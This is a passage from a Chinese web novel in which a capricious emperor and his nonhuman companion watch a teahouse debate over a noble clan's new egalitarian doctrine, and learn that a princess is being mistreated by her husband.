实验不能停,只要停下来自己甚至没办法把控自己的未来了,对谢吾德的流放也不能停,但是果然还是让人觉得汗流浃背,就好像他是大恶人一样。 亚夏擦了一把自己的脸。 这种事情他之前也不是没有想过,但是他当时给自己的解决方案就是仅仅通过屏幕进行观察,但是他们活的时间太长了,什么都能出岔子。 这个世界就不能有一个完全道德的选项吗? “小公子?”林耀祖紧张地看着亚夏的动作,生怕亚夏是看出了哪里不好,回去和谢吾德告状。 亚夏是不说话安静到了好像是个哑巴的程度,但是就算他真是哑巴,只要他不傻,会写字也能够成功地和谢吾德沟通。 亚夏不想说话,所以就装作自己在观察这个世界的样子四处看看。 亚夏不说话,林耀祖怎么都没办法从他那张毫无表情的脸上读出任何情绪。 现在的锦京城看上去十分热闹。 因为不需要担心饿死,所以大家就更愿意去做点别的。 即使人们不愁吃的也要四处转转,找找有没有别的活计。 谢吾德给的并不多,他不会让人饿死,但也不能指望他把所有人都喂饱或者过上绝对富足的日子。 谢吾德做事从来都是凑活就行,他可不会要求自己必须做到极致的完美,为普通人服务什么的对他来说太可笑了。 这样一来,普通人还需要为自己的生活奔波。 谢吾德做事一直都是充满了迷幻感的,花里胡哨的,但是未必中用。 对于这个时代的人来说,谢吾德做的已经不会让他们有揭竿而起的冲动了。 亚夏的目光落在了街边的茶馆内,那些学派的人又打了起来。 为首的是一些法家学派的和儒家的人站在一起和另外一个人争吵。 上次儒法两家站在一起,恐怕还是春秋战国时期荀子和他的那些徒弟。 但是儒家和法家做事有很大的差别。 一个性善论,一个性恶论;一个教化为主,一个教化为零;一个礼为根本,一个礼为虚文。 儒家和法家观点算不上千差万别,但是高低也算是聊不到一起去。 虽然有荀子这般兼容并蓄的异数,但在各自发展近两千年后,许多观点已走向极端,从争辩对错,变为誓要将对方踩在脚下。 如今儒家和法家竟凑到一块,这对不知情的人而言,诡异程度不亚于萧国皇帝对谢珖俯首称臣。 在谢吾德登基前,若有人对儒法两家说未来会有这样的团结合作,他们绝对会一口唾沫啐在说话人脸上。 这话太恶心了,怎么有人能说得出口? 但如今,这么诡异的事确实发生了。 儒法两家能站在一起,只能说明他们遇到了比彼此更大的“异端”——那便是眼前的琅琊王氏之人。 “你们说每个人生来都有平等的权利?那如何区分高低贵贱?又如何让人奋发向上?大家寒窗苦读,固然是为了有朝一日一展抱负,但是同样也是光耀自己的门楣,赡养父母,抚养子女,若是这样不能高人一等,那除了你们世家,还有谁能尽孝?”这话是儒家的人说的。 这话说得不少人都暗暗点头。 的确是这个理。 “这世道,惯会踩低捧高,和他们好声好气说话,他们还不把人当成一回事,非要拿着棍子狠狠地打上几下才能好好地和人说话。” “我要有一天发达了,我也不愿意和其他人平起平坐。” “得了吧,就你?”边上的茶客翻了个白眼,毫不掩饰自己的不看好。 同伴的面上挂不住,于是转移了话题:“你们说琅琊王氏这是发了什么疯?” 会不会说话,谁还不知道这件事?非要吧话说出来干什么? “集体发疯了吧,看看临川陈氏现在的样子,被吓疯了也不奇怪。” 没人觉得琅琊王氏现在脑子还正常。 他们完全都不理解琅琊王氏说这些话是想要干什么,说出来对他们又能有什么好处。 再说了,这有什么不好。 没人觉得高低贵贱有什么问题。 就算这个世上有农民起义,但是在起义结束之后,过去起义的农民不还得分出个高低贵贱来。 没有高低,这个世界肯定是得乱套了。 一山都不容二虎呢。 在儒家的人说完,紧接着法家的人跟上:“你们这般说法,是要废掉律法的根基和精华了?再说了,你们琅琊王氏不就天然高人一等吗?怎么还有脸说出这种话来?” 琅琊王氏的人却并不接这茬,只对眼前与他辩论的人说道:“所以呀,我们如今落得如此境地,这不正是违背了这项规则之后的结果吗?” 道家的人在一旁默默喝水。 对于琅琊王氏这句话,他倒有几分赞同,但对王氏的整体观点,他又觉难以苟同。 迄今为止,世上几乎所有的学说,都是立足于君主如何管理国家、统治臣民。 它们萌芽于春秋战国,本就是封建时代的产物,自有其局限性。 即便是崇尚“道法自然”的道家,其初衷亦是告知君主应如何“无为而治”地统御天下。 各家只是对如何治理国家这个论题持有不同的态度与哲学思辨,但是核心都是维护封建统治的。 而琅琊王氏现在提出的却是把所有这些学说都摁在地上,来一句谁信谁傻逼。 那些人没有直接手撕了琅琊王氏不仅是因为他们本身也和琅琊王氏盘根交错,还以为他们觉得琅琊王氏是疯了,没必要和他们计较。 他们想干什么? 谢吾德之后便没有其他皇帝了吗? 皇帝未必一代强过一代,整体来说,水平是会下滑的,正应了“千年的世家,百年的王朝”这句话。 当天下大势系于一人之能时,许多事情的上限与下限便会变得无比悬殊。 谢吾德是皇帝中异类。 且不说天幕中透露的谢吾德立了堂妹为继承人,但是他们也没见谢萍得到谢吾德的庇护,最终因为身体虚弱这种原因被人政变拉下马来。 之后的皇帝不还得依靠旧有体系管理国家吗? 届时,琅琊王氏还要不要继续当他们的世家? 别跟他们说琅琊王氏真的对谢吾德有什么忠诚了。 当初临川陈氏被诛九族时,死了多少人?听说能砍人的都上了,一些人第二天连胳膊都抬不起来,都不知道谁还在那里抱怨世家比猪还能生,杀起来都累死人了,而且锦衣卫还出了一些人要出锦京杀人。 谢吾德当时还特意嘱咐一句,男女都杀了。 皇帝动动嘴,下面累断手。 世家怎么想,普通人无从得知,但是就算是普通人,听到这种事情都忍不住咋舌。 也不知道陛下是怎么做到仁善和残暴聚于一身的。 不过谢吾德残暴,其他皇帝未必就不残暴了。 琅琊王氏这次站台实在是太明显了。 琅琊王氏即便舍得财富,他们能担得起在谢吾德离开后其他皇帝对他们的清算吗? “他们家那么多人,就要这般葬送性命?” “听说有些琅琊王氏的人已经悄悄地离开锦京了,准备与主家撇清干系了,要我说,等着之后他们还得改姓。”很多人的目光都集中在茶馆中琅琊王氏的人。 被众人盯着的琅琊王氏的人并没有他表面看起来那样镇定,即使是在冬天,他的后背也被汗水打湿了。 他其实不知道家中那些掌权者都做了什么决定,但是王旭和他聊了,说“成败在此一举”,虽然他也怀疑王旭疯了,但是王旭和他说现在很多人都想要离开琅琊王氏,别人都退了,他如果进了,那他以后也是琅琊王氏的中流砥柱。 重赏之下,必有勇夫。 这个人和家里人死命地钻研了这些东西几天,然后就跑到这些茶馆,去宣扬这些新学说。 到现在,每一个人说的话都不出乎他们之前讨论的范围内。 琅琊王氏培养出来的人才可是这些学派的数倍有余,这深厚的底蕴根本就不是常人能比的。 亚夏听了一会,直接往那边走了两步,然后他才忽然想起自己现在不是独行,于是用手指了指那个方向,示意想去听听这群人究竟在说什么。 他看上去有点精神,眼睛也睁大了一点,从高冷沉默变得和谢吾德一样有点兴奋。 这事实在是太离谱了,他实在是好奇琅琊王氏这种世家宣传这种学说到底是想要干什么。 他太好奇了。 他清醒时间长达一万年,但是这种癫□□作他还是第一次见。 果然谢吾德这种癫狂的统治者会让其他人也搞出超出常规推演的操作。 虽然能够打开后台,把他们的底裤全都扒光,但是果然还是想要动脑猜一下。 他可不是谢吾德那种几乎没有社会经验的家伙。 第82章 林耀祖看着亚夏那双眼睛,说道:“小公子,您这样过去,会不会直接被人认出来?” 亚夏和谢吾德的眼睛就跟防伪标志,只要亚夏将眼睛一露,谁会怀疑他与谢吾德不是父子? 虽然的确不是。 再说了,就算不看眼睛,亚夏和谢吾德长得也极为相似。 琅琊王氏中不少人是见过谢吾德的,就算没见过谢吾德,大概率也是听过谢吾德的眼睛是蓝色的。 “小公子有神奇的能力吗?”尔雅轻声问道。 亚夏低下头,用手像是洗脸一样搓了搓,动用了一点光学伪装,让面容产生了细微变化…… 尔雅看着亚夏变了样的脸,忍不住道:“果然您也是个很神奇的人物。” 亚夏轻哼,这是什么描述珍奇异兽的语气? 林耀祖哇了一声,这和变脸还不一样,这看上去是没法提前准备的。 林耀祖装作随口一问的样子问:“小公子,这种力量别人能学会吗?” 弹幕连连发出感叹号。 大家都想要学法术啊! 有谁没有这方面的幻想,幻想自己腾云驾雾移山填海? 之前他们不学是因为在谢吾德之后就没人学会法术的,除了精神病和狂信徒之外,根本就不会有人觉得这是人能掌握的东西。 有些话林耀祖不敢问谢吾德,但她觉得亚夏似乎比谢吾德好说话些。 亚夏虽也常不搭理人,气场冷冰冰的,但不像谢吾德那样不稳定。 谢吾德给人一种他上一秒笑嘻嘻、下一秒就可能杀人的抽风感;而亚夏给人的感觉是,要是他不搭理人,而这个人又问了一个他不喜欢的问题,那最坏的结果也只是继续不搭理人,不至于动手杀人。 亚夏没有回答。 学习法术? 这些生物虽不知是否该被称为人类,但他们的基因确与人类相同,只要都是以露卡为原本演化出来的生物都能够掌握法术。 只不过他关掉了这个世界的法术连接接口,所以这个世界才是一个没有法术的世界。 这个世界本就是做给谢吾德玩的,自然该由谢吾德来决定是否向其他人开放法术权限,反正谢吾德想解除这个限制也不复杂,他最会搞这种破坏了。 只不过拥有法术未必是好事,现代地球的乱子一点都不少。 他没再理会林耀祖的好奇。 林耀祖有点失望,但是越是好东西不就越难得到吗? 如果不是亚夏现在的身份是太子,谢吾德的身份是皇帝,她都想试试拜师是不是一条可行的路. 荣朝有许多不好的地方,但也有一些好的方面——例如商业相对发达。即便女性也能出门赚钱。 荣朝的女性因为拥有经济能力而获得的话语权在不提出和离的前提下可比以前的那些朝代要多,手上有钱,腰杆子才硬。 茶馆的老板娘微笑着迎上来,问尔雅他们想喝些什么。 尔雅先看了眼亚夏。 亚夏对这个时代的卫生安全有很多顾虑,他什么都不要。 于是尔雅便给亚夏点了最贵的茶——不管他喝不喝,场面得做足,不能落人口实。 老板娘低声问道:“客人有没有赌一把的想法?” 林耀祖听到这话,耳朵瞬间就竖了起来。 “这合适吗?” 弹幕适时给她“科普”:【荣朝赌博风气很盛的,别奇怪。】 【常规操作罢了,这里可没“赌博有害”的认知。】 【压力大嘛,总得找点刺激。】 【跟他们说赌博不该,他们还会觉得你下头没劲呢。】 【不过嘛,这也可能是荣朝人的一种解压方式。】 【大家都因为萧国的压力精神紧绷,还不如及时行乐。】 亚夏也只是看了尔雅拿出一些铜钱来。 “我就押琅琊王氏赢吧。”尔雅说道。 陈燕听了,心里有点不太高兴。 虽说临川陈氏已经没了,但她对陈家仍有些归属感。过去她一直被教导的便是要将王家的人踩在脚下,这样才能显得他们好。 尔雅现在的行为像是在背叛一样。 老板娘听到尔雅的选择之后,收下钱,而各个学派关于琅琊王氏的辩论正热火朝天。 琅琊王氏的人提出的很多观点,都和其他学派的思考方式截然不同,这种掀桌的玩法让很多学派一时半会很难找到反驳的角度。 亚夏只是听一小会就知道这套理论是不可能在这个时代萌芽的,他们的很多观点听上去就像是拙劣的模仿,他们说的很多东西和他的核心观点甚至都有点牵强附会。 他们已经很努力地想要装出这的确是琅琊王氏的原创观点的样子。 但是在现代生活过的人都会觉得这有多怪。 这些观点应该就是来源于琅琊王氏的那个穿越者。 亚夏静静地停了一会,叹了口气。 行了,他已经明白了一切。 琅琊王氏是想要获得新学说的绝对话语权。 别说他们的观点核心就是公平,实际上世家就是世家,都说资本家可以卖掉吊死自己的绳子,但是这些世家地主何尝不是如此。 明明知道土地兼并到了最后就是天下纷争,日子对世家整体也不好过,但是他们就是一直在兼并土地,试图把最后一点口粮从人的嘴巴里抠出来。 只不过在谢吾德的手下,他们必须通过其他的方式来包装自己,批判皇帝就是他们打算包装自己的方式。 他们放弃了当皇帝的打算,但是可没有放弃统治这个世界的打算. 荣朝在建立之初就有意地开放学术氛围,试图打破世家对知识的垄断,所以历代皇帝为之努力的核心就是开放学术讨论,对世家垄断的学术进行官方的开放,各个学派的领头人虽然没有如同世家那么多的土地和财富,但是皇帝却给他们划了山头。 虽然很多学派的成员都是由世家和寒门构成,本身和世家盘根错节,很多事情也需要和世家打点好才能做,但是终究成为了除了血脉之外,以学术为中心形成的新的传承方式。 荣朝从建立开始就努力地在世家身上划刀,然后在被萧国打得南迁之后,世家又受到了一次暴击。 虽然世家把自家几乎所有的金银都拿到南方了,可是琅琊王氏之前可是“齐国公”。 “齐国”的土地都完全被萧国收走了,祖坟都被萧人占了,他们的损失一点都不小。 这些学派的损失虽然也很大,但是他们最需要转移的是那些书,因为荣朝对这些学派一以贯之的扶持,丢了的东西皇帝还会给他们,这样才好让他们跟这些世家打擂台。 这些学派在这一百多年来凭借这方面的优待发展壮大了,但是同样的也让这些学派在此刻没办法用盘外招堵住琅琊王氏的嘴。 他们是因为这些讨论才重新发展起来的,不能过河拆桥。 而且琅琊王氏可不是能让他们堵上嘴的弱小存在,他们必须和琅琊王氏好好地进行讨论。 但只要一代开始辩论,他们就需要思考对错。 在这种讨论的时候,他们是不可能像村口大爷大妈那样胡搅蛮缠,借助权威去压倒他们。 他们试图拿出旧例和典故证明琅琊王氏说的话不可行,但是有些事情从古至今都没有前例。 锦京的经济状况还是很好的,很多人显得没事都会凑过来听听这些学派讲学,听过很多他们讲的典故——就当听故事了。 面对着这些东西,琅琊王氏直接拿出数据。 作为世家,他们很容易拿到各种资料。 参与这次讨论的学派成员们看着那些数字,眼神有点呆。 大概也只有墨家和阴阳家的一些人看着这些东西才能琢磨出一些道理。 现在琅琊王氏拿出的辩论方式是前所未见的。琅琊王氏什么时候这么有本事了? 有茶客讨论:“他们这些不是瞎写的吧?” “诶,你不是做账房的吗?你过来看看。”有人招呼道。 “哎呀,看不懂,看不懂。”那个账房先生的人嘴上说着看不懂,但是还是拿过来看了一眼,找到了上面几个有计算过程的地方默默地算了一下,他感觉上面的数字似乎并不是乱来的。 他随机检查了几个点,感觉都没什么问题。 “怎么样?” “感觉不是胡乱写的。”账房先生想,也许琅琊王氏并没有疯,疯子的脑子没有这么清楚。 “我看你们琅琊王氏就是在说笑。”就在琅琊王氏隐约占据上风,而尔雅似乎能赚一小笔赌金的时候,有人在楼上说话了。 这个人原本是坐在二楼的位置看着下面的人讨论,他的前面还有一个帘子,让人不是很能看得清他的脸。 在听了许久之后,现在终于忍不住开口说话了:“如果真像你说的那样,每个人都是一样的话,那就算我把那些公主、皇子打了那也不能惩罚我是吧?” 所有人都向他看去,都想看看是哪位勇士敢说这种话。 那个人说话的时候有一种不太对劲的亢奋像是喝醉了一样。 那个人身旁的人连忙拉住他说道:“不好意思,我这位兄弟喝醉了。” 哪来的二傻子,竟然敢在大庭广众下说出这种话? 即使是他们也不敢说这没问题。 谢吾德虽然是个弑父杀兄六亲不认的家伙,但是他是真的有两个太子。 那个醉鬼不要命就算了,他们就怕他再堵一句“一起去打太子去”。 难道他们还要说出“殴打太子是一件正确的事情”? 谢吾德对很多事情都无所谓,但是他很护短。 他的护短是摆在明面上的。 琅琊王氏要是敢说这句话,谢吾德今天就要把他杀了。 这让琅琊王氏的人哑口无言。 一般人都不敢拿皇室开涮,顶多是拿他们琅琊王氏说事,但是他们只要脸皮够厚,他们就可以全部糊弄或者承认下来。 就是欺负别人没这么说的胆子。 但是这是哪来的二百五! 陈燕盯着看了一会,她说到:“这个人……似乎是七公主的驸马?” 尔雅相信陈燕的判断。 陈燕虽然脑子没有她灵活,但是在搞学术和认人方面有特别的天赋。 林耀祖的眼皮一跳,亚夏也看向了那个方向。 一个娶了公主的人说“那我把公主和皇子打了”,那这个人有多大可能已经干过这事? 这不像是在反驳琅琊王氏,更像是憋不住在大庭广众之下开始吹嘘自己的厉害。 第83章 而且他把公主放在皇子前面,这似乎不符合一般情况下的用词顺序。皇子通常比公主重要,会被放在前面,但绝大多数人都当他是喝多了才说错。 人与人的悲欢并不相通。 相比起这些学术之争,他们更感兴趣的是自己能得多少钱。 “哎,最后果然还是只有庄家通吃。”林耀祖心疼地看着茶馆老板娘那个方向。 她不缺这一点钱,但她总觉得尔雅像是在拿钱打水漂一样。 林耀祖家里有钱,但家里人从小就告诫她不要去碰这些东西。 他们不是顶级富豪,家里的钱经不起这么败的。 “小公子觉得这件事我要不要和陛下说呢?”尔雅问亚夏。 亚夏点点头。 “那小公子着急吗?”尔雅接着问。 亚夏摇头。 这不是完全没有着急的必要吗? 反正那个把话说出去的人就在这。 “陈燕,你把那个琅琊王氏的人叫过来吧。”尔雅对陈燕说。 陈燕干脆利落地起身. 人和人的悲欢是不相通的。 在琅琊王氏输掉的时候,其他学派的人都是欢欣鼓舞的,而很多茶客们同样也很高兴。 他们高兴自己赚到了一些钱。 赌琅琊王氏赢的人不多,但能赚一个铜板也是一个铜板,而且在这之前,琅琊王氏的人看上去都要赢了。 他们围着那些学派的人疯狂拍马屁,那些学派的人高兴于自己的学问得到了认可,开始向这群人宣传着自己的学说,想要从他们哪里得到支持。 茶客们对干巴巴的知识不感兴趣,但对于帮他们赢了点钱的人,还是愿意给些面子的,敷衍地应付过去。 他们就是听个热闹。 很多人都意识不到琅琊王氏宣传的学说背后的危险,即便意识到了,但是发现好像没有人进来抓人,他们就觉得这或许是被皇帝默认的事情。 陛下那么英明,说不定有他自己的打算。 琅琊王氏的人深吸了一口气,想着去查查是什么人说了这样的话,要是不是什么任务的话,他就找人把他打一顿。 这次没有金钱上的存世,但是他要担心自己回家该怎么和王旭交代。 就在他思考的时候,有一个人站在了他的面前。 对方也不开口说话,就这么静静地看着他。 琅琊王氏的人抬起头,在看到对方的脸的时候愣住了。 “过来吧,有人想要见你。”陈燕直接开口道。 她也认识这个琅琊王氏的成员,他在琅琊王氏中不上不下,这大概也是他现在愿意站出来为琅琊王氏做点事的原因。 琅琊王氏能给予的好处近在眼前,只差他自己努力一把了。 他扛不住近在咫尺的诱惑。 那琅琊王氏的人没有拒绝的意思,他跟着陈燕走:“我以为你已经……” “我没事。”陈燕并没有对自己还活着这件事多做额外的解释,解释的越多,之后留给她回旋的余地就越少。 皇帝不想管尔雅的事情,但她也得注意不能给尔雅添麻烦。 陈燕带着他走到了尔雅的面前。 琅琊王氏的人在看到尔雅的那一瞬间就明白了很多事:“原来你就是陈家的人。” 他看到了林耀祖,目光又在亚夏身上盘旋了一会,他在思考这个孩子到底是谁。 尔雅的孩子吗? 也不像啊。 亚夏是借了自家亲戚的脸,反正这个世界是绝对不会有人认识他的。 尔雅也不跟他多废话,直接敲了敲桌子:“我在你身上压了十文钱。” 琅琊王氏的人把手揣在袖子里:“想来,您也不在意这区区的十文钱吧?如果您要的话,我可以给您补上。” 十文钱对一个普通人家来说也许很多,但对琅琊王氏这样的人来说,那真是掉在地上都不屑于捡。 他们这样的学术辩论,其实是会有茶客打赏的,但他们不会直接把钱塞在他们前面的箱子里,而是会换成精美的绢花。 这样少了几分铜臭味,多了几分体面。 琅琊王氏的人也只是看看箱子,大致评估一下大概有多少人支持他,但并没有把这些绢花带走的想法。 他们琅琊王氏就算是走了下坡路,那也看不上这点小钱。 不过尔雅要是要的话,他真不介意直接给她,就当是羞辱她了。 “这点钱,你就算给我我还得再放回去。”尔雅摇了摇头。 十文钱都不够她抬胳膊。 “所以啊,这话您可不能随便说,要是让别人知道了,还要以为陛下苛待了您。” “钱总是小事,但是面子是大事。”尔雅看着他,像是透过这个人看到整个琅琊王氏一样,“你们琅琊王氏有没有兴趣和我联手?” 琅琊王氏的人一挑眉。 他还以为尔雅是绝对站在谢吾德的那一面的。 林耀祖咬着牙从牙缝里倒吸了一口气. 谢吾德看着亚夏,又看了看站在他们身后的尔雅和林耀祖:“你们怎么这么快就回来了?我还以为你们会去更远的地方玩。” “陛下,远行需要一些提前准备。不过今天我们遇到了一些有趣的事情。”尔雅说道。 谢吾德点点头。 亚夏走到他身边,从他的桌子上把整盘曲奇饼干都端走了,然后跑到一边吃。 “好了,省略开头和结尾,直接说中间吧。”谢吾德说道。 亚夏在一旁说:“就是你的姐姐之一也许被夫家家暴了。” 林耀祖有点惊讶地看着亚夏,不敢相信他居然会说话。 亚夏只是没那个心力和其他人说话,但对于自己就算是面对让他有点讨厌的谢吾德,他也能够顺利交流。 谢吾德也不客气,他直接揪住亚夏的头发把他拽回来,然后往盘子上“呸呸呸”了几下。 亚夏翻了他一个白眼。 虽然他也有洁癖,但是谁会嫌弃自己呢? 他拿着整个盘子往自己嘴巴里倒,但现在他外表看上去实在太小了,所以倒了一半就必须开始嚼了。 谢吾德直接扒开他的嘴,从他嘴里拿出了一块完整的曲奇,塞进了自己嘴巴里。 亚夏从他的桌子上夺食,他就要从对方嘴里抠出来点什么。 林耀祖看着这一幕,眼角疯狂抽搐。 您老讲究的标准到底是什么? 太神秘了。 好歹注意一点体面吧。 谢吾德一边嚼着曲奇饼干一边说道:“家暴?姐姐?” 亚夏在一旁,被噎得快要说不出话了。 他和谢吾德不可能再严肃地打一架,所以斗争就变得非常孩子气了. 谢珖有很多女儿。 这对于谢珖本人是一个非常沉重的打击。 像他这种皇帝,虽然非常警惕自己的儿子可能在长大之后觊觎皇位,但同样,他也觉得生女儿并不是一件值得让她高兴的事情。 荣朝经济虽然发达,但攀比之风也盛行。 每嫁一个公主,他就要出一大笔钱,而他的女儿现在记录在册的将近二十个,这是一个相当恐怖的数字。 这对于荣朝的皇室来说,这笔钱并不像其他人家嫁女儿一样伤筋动骨,但是出钱这件事就让人很不爽。 他有二十个女儿,但是只有五个儿子,这对于任何一个封建中登来说,都是一件难受的事情。 这是钱的事吗?这是没本事的事。 所以因为女儿多,他对自己那些公主一直都缺乏关心,嫁女儿的态度也很随便。 后妃说相看好了谁,只要不妨碍他的利益,他就随她们安排;有谁想要求娶公主,他也随便点头。 女儿嫁出去之后也懒得关心什么,赏赐也不多,基本上是女儿嫁出去之后就忘了有这个人。 不爽别来。 但是谢吾德知道谢珖之所以有这么多女儿,是因为谢吾德自己想要姐姐。 他真正的身份有哥哥弟弟妹妹,但是就是没有姐姐,所以才想在这个世界体验一把有很多姐姐的感觉。 没什么原因,就是小时候小伙伴跟他炫耀过他姐姐给他零花钱。 谢吾德想要好好享受一下有姐姐的感觉,但真当到了这个世界之后,他就发现什么叫性格决定一切。 在皇宫中,血缘根本就不重要。 谢吾德根本懒得花时间和这些姐姐打好关系,而他的那些姐姐也因为谢吾德的种种传闻,更倾向于远离他,而不是和他打好关系。 直到他的姐姐全都嫁出去了之后,谢吾德才想起自己错过了和姐姐相处的机会,不过他也无所谓。 姐姐这种东西,有也行,没有也行。 他不缺这点亲情,他哥哥也会给他零花钱的,弟弟也会给。 他只是好奇这种感觉。 但是既然没有这个缘分,那也就随他们去了。 她们没有和谢吾德打好关系的福气,但在听到似乎有公主被家暴之后,谢吾德就来劲了。 那是他的姐姐。 他看向李真:“你知道有这事吗?” 李真说道:“臣并不清楚。” 谢吾德摇着头:“知道谁胆子这么大,居然敢打公主?就算朕不是皇帝,那她好歹也是个公主吧,怎么还能落魄到现在这一步?和离不行吗?” 李真对于这个问题的答案了然于心,他说道:“陛下,和离是一件十分丢人的事情。” 这种事情他们太监可太清楚了。 只要进了宫,当了太监,就没法埋进祖坟里了。 因为丢人。 谢吾德摇头。 他也不是不知道这些事情,但是这并不妨碍他难以和那些公主共情。 “去查查这事是不是真的。”谢吾德想了一下,就不去想了,他现在对另外一件事情感兴趣了。 他没有和姐姐相处的机会,但是他也许有暴打姐夫的机会。 第84章 琅琊王氏已经从高处跌落了。 他们过去经营的许多人脉现在已经不怎么给他们面子了的,但他们和普通百姓最大的区别大概就是他们知道怎样才能获取情报,又得和谁打听消息才能得到结果。 朝堂上进行了一次大清洗,临川陈氏的人死了一片,如果不是谢吾德莫名其妙地批阅奏折的效率高到恐怖,甚至填补了那些缺失的空位了。 只要有明确的方向,软磨硬泡加上金钱开路,查清事情不过是时间问题。 所以,琅琊王氏很快就知道了最近的一件事:邱家军那边正在研制某种新式的火枪,而这和谢吾德之前送过去的名叫“烟花加特林”的东西有关。 火药加枪管,这听上去和之前谢承修弄出来的东西有点相似,说不定干脆就是一个东西。 王旭不是没有产生过怀疑。 他曾问过胡增鑫关于加特林的事情,但胡增鑫只是茫然地重复了一遍:“加特林?那是什么?我没有听过。” 王旭已经能够基本精准判断胡增鑫是不是在撒谎了,胡增鑫现在也没有撒谎的心气了。 王旭这才稍稍将心中的一些疑虑按下。 萧国和荣国这段时间,已经爆发过几次冲突了。 最大的一次莫过于邱家军对萧国大军的第一次突击。 靠着谢吾德给他们的“烟花加特林”,邱家军一百多人直接伤敌一千多,杀敌数百,而造成的混乱让萧国大军死伤惨重。 相比起萧国几万大军,不到一千的死亡根本算不上什么,但是他们的士气已经大跌,。 萧国之前因为已经出现几次先帝怨鬼到处飘来飘去的事情,军心浮动,萧国大军本来就觉得这一战恐怕不会顺利。 当邱家军突入阵中,手持那喷射出五颜六色光柱的奇异器物时,许多萧国士兵忍不住失声尖叫起来。 强烈而迷幻的光芒,让这些本已不安的士卒精神状况雪上加霜。 最大的问题反而是出在马上。 这些战马虽然已经被训练过,这种敏感的动物已经习惯了战场的嘈杂,但是这种完全不熟悉的噪音让它们变得有点不太受控。 明明是黄沙漫天的战场,但是却像是提前过年了一样变得烟火灿烂,美丽的烟花绽放在萧国人身边,用物理的方式进行“文化”入侵。 谢吾德在天上看着这一幕,忍不住哇了起来。 别管下面场面对正常人来说多么不适,对于谢吾德这个站得足够高的人来说,这都是壮丽美好的场面。 谢玖爽翻天了,他把能拉的烟花加特林全都拉过来了,重火力之下,他轰了个爽。 提前感受到了这东西有多好用的谢玖再用邱家军的工匠做的火枪就难免觉得不够力。 在回到邱家军之后,他和邱腾强推这武器的强大。 如果火枪是从零到一地发展,谢玖感觉可能还会比较平淡,但是在见识到了半完全体之后,他就觉得自己要停不下来了。 邱腾很重视自己这个下属的建议。 邱潇在面见谢吾德时,还特意向谢吾德请求调拨一些工匠,希望这些工匠能参与到火器的改进中。 谢吾德早就忘了当初清理谢承修残党时抓获的那些工匠了,但邱潇一提便想了起来,很是干脆地将这些工匠都拨给了邱家军。 这些工匠掌握的技术并不完全,核心技术仍掌握在胡增鑫手中,但是他们手里有批量制造武器的方案。 这瞬间如虎添翼了。 王家原本拿捏着胡增鑫是想着谋反,但是到了现在,胡增鑫能提供的价值似乎越来越小,他几乎已经被掏空了。 现代的那些新奇的理论甚至是他们根据胡增鑫破碎的理论连夜补充完善的。 要不要找个借口把胡增鑫献给谢吾德。 不能直接给,要让谢吾德抢,这样也可以让他们琅琊王氏看起来更像是受害者。 只不过谢吾德身边已经有了林耀祖这个穿越者,再献上一个胡增鑫,好像就有些重复了。 就在王旭思考这些问题的时候,王家派出去探听消息的一个人回来了,说有事要禀报王旭。 王旭想了想,才记起这人是谁。 “有什么事情吗?”王旭问道。 “今天在外面,我遇到了临川陈氏d 陈燕。” “陈燕?”王旭对这个名字倒是更熟悉些。陈雅可是临川陈氏有名的才女,不知多少人求娶,但陈家一直待价而沽,想将她的价值最大化,“她居然没有死吗?” “是陛下身边的那个尔雅把她带出来的。” “哦?尔雅是临川陈氏的人吗?”王旭好像隐约听说过临川陈氏那边有个比较叛逆、不太服从家族安排的女儿,之前还离家出走了。 看来就是她了。 这本来只是传闻,大家也只是略有耳闻,但是陈家无人承认有这种事情发生,如今总算对上了号。 看来不是传言,临川陈氏当年就是丢不起这个人,而且大家也不信这个世界上真的有这样的疯婆娘。 汇报的人把他们知道的事情一五一十都跟王旭说了。 王旭觉得尔雅似乎是想要和他合作。 她看似是觉得自己的力量不够,要联合琅琊王氏找一个人开刀,但这分明是尔雅为了试探双方后续合作是否能够顺利而抛出的意向书。 光凭琅琊王氏或是尔雅自己都足够办成这件事情了。 尔雅在杀人这件事上比琅琊王氏更有力。 如果说有人说要一起做,那就是想要合作的意思。 多有意思啊,之前是临川陈氏向琅琊王氏提出了合作的请求;现在,临川陈氏没了,尔雅又向琅琊王氏提出了新的合作请求。 也不知道这次,临川陈氏的人是不是又想要搞一个把自己坑进去的计谋。 “那好,我就和尔雅见一见吧。” 王旭说得自然而然。 相比起如今已经被满门抄斩的临川陈氏,琅琊王氏依然有着绝对的优势。 这一次,赢的人也只会是他们。 “他有说过我们什么时候见面吗?”王旭看着自己的族人。 那个人想了想,然后又有点犹豫自己该怎么说才能让这话听上去比较好,最后他放弃了修饰,直接说道:“她说得等着陛下安排。” 王旭手中的书本“啪嗒”一声落在了地上。 他目瞪口呆,半晌才找到自己的声音:“尔雅疯了吗?!” 但凡尔雅是个聪明人,就知道我们琅琊王氏绝对没憋什么好屁。 这种事情要等着谢吾德来安排?难不成和谢吾德待久的人,脑子都会变得疯狂吗? 就算谢吾德也能够猜出琅琊王氏要搞事,尔雅可能也不是纯粹地忠诚于他,但是装都不装,这合适吗? 王旭深深地反思了一下自己。 他是不是不够适应时代了?. 静安公主今年二十岁,她只是有一点点漂亮,因为不需要干重活,所以整个人看上去都带着一种柔软的感觉。 对于那些百姓来说,公主的日子绝对是过得相当美满的,但是静安公主自己却不觉得。 衣食无忧对她来说是最基本的,而人在满足了这些基本的生理需求之后就想要追求更多的东西。 她看着自己的丈夫跌跌撞撞地从外面走来,连忙上前扶住他的肩膀,柔声道:“驸马,你没事吧?” 静安公主的驸马却一摆手,用的力气非常大,将静安公主的手直接撞在了柱子上,发出“咚”的一声闷响。 就算是那些平头老百姓,在一不小心误伤了自己的妻子之后,有点良心的都会道歉,但是静安公主的驸马在面对她时却完全不这么想。 他甚至都懒得投过去一个眼神。 这些公主下嫁的对象都是各世家的子弟。 皇帝将她们嫁过去的目的,并不是希望她们过得好。 荣朝的开国皇帝制定了“驸马不得从政”的规则,只要公主嫁过去了,那这些人就相当于废了。 也就是说,世家子弟如果娶了公主,那他的前途就灰飞烟灭了。 在这种前提下,想要娶公主的人没资格娶,能娶到公主的又看不上。 这完全就是皇帝制约世家的手段。 驸马没直接动手打过静安公主,但是装作自己没注意的样子一不小心碰到了她。 静安公主只能低着头,一言不发。 她身边的侍女只是走过来,有点心疼地看着公主红肿的手,但却并没有呵斥驸马的意思。 这完全没用。 说了静安公主还会训斥她。 不是表面上说她几句,而是真的会惩罚她。 要侍女说,公主要是敢直接把驸马打了也不会有什么事。 